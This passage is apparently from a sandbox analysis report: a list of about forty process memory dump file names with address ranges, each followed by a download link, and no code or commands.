                                                                                                                          memory/4976-213-0x00000000054F0000-0x0000000005502000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/4976-164-0x0000000002360000-0x000000000236A000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/4976-158-0x0000000000010000-0x000000000001A000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5160-1729-0x000002B8FE5B0000-0x000002B8FE5D2000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5180-1918-0x00007FFF00710000-0x00007FFF00711000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5180-1919-0x00007FFF00C30000-0x00007FFF00C31000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5312-1899-0x00007FFF002D0000-0x00007FFF002D1000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5484-1992-0x00007FFF002D0000-0x00007FFF002D1000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5760-2158-0x000000001C680000-0x000000001C692000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5868-2020-0x0000000000650000-0x0000000000A52000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5868-2067-0x000000001C1D0000-0x000000001C1D8000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5868-2079-0x000000001C1E0000-0x000000001C1EC000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5868-2084-0x000000001C1F0000-0x000000001C1FE000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5868-2085-0x000000001C200000-0x000000001C208000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5868-2086-0x000000001C210000-0x000000001C218000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5868-2087-0x000000001C220000-0x000000001C228000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5868-2089-0x000000001C240000-0x000000001C24C000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5868-2088-0x000000001C230000-0x000000001C23A000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5868-2065-0x000000001BF60000-0x000000001BF68000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5868-2066-0x000000001BFC0000-0x000000001BFCC000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5868-2063-0x000000001BF40000-0x000000001BF48000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5868-2064-0x000000001BF50000-0x000000001BF5C000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5868-2062-0x000000001C470000-0x000000001C998000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5868-2059-0x000000001B680000-0x000000001B68C000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5868-2061-0x000000001B6B0000-0x000000001B6C2000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5868-2060-0x000000001B690000-0x000000001B698000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5868-2058-0x000000001B670000-0x000000001B67C000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5868-2057-0x000000001BEF0000-0x000000001BF46000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5868-2055-0x000000001B600000-0x000000001B610000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5868-2056-0x000000001B660000-0x000000001B66A000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5868-2054-0x000000001B5F0000-0x000000001B5F8000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5868-2053-0x000000001B5D0000-0x000000001B5DC000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5868-2036-0x000000001B610000-0x000000001B660000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5868-2037-0x0000000002CB0000-0x0000000002CB8000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5868-2038-0x0000000002CC0000-0x0000000002CD6000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5868-2040-0x000000001B5E0000-0x000000001B5F2000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5868-2039-0x000000001B5C0000-0x000000001B5C8000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5868-2035-0x0000000002C90000-0x0000000002CAC000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5868-2034-0x0000000002C80000-0x0000000002C88000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5868-2032-0x0000000002C60000-0x0000000002C6E000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/6040-1790-0x0000014F56850000-0x0000014F56858000-memory.dmp
                                                                                                                          Download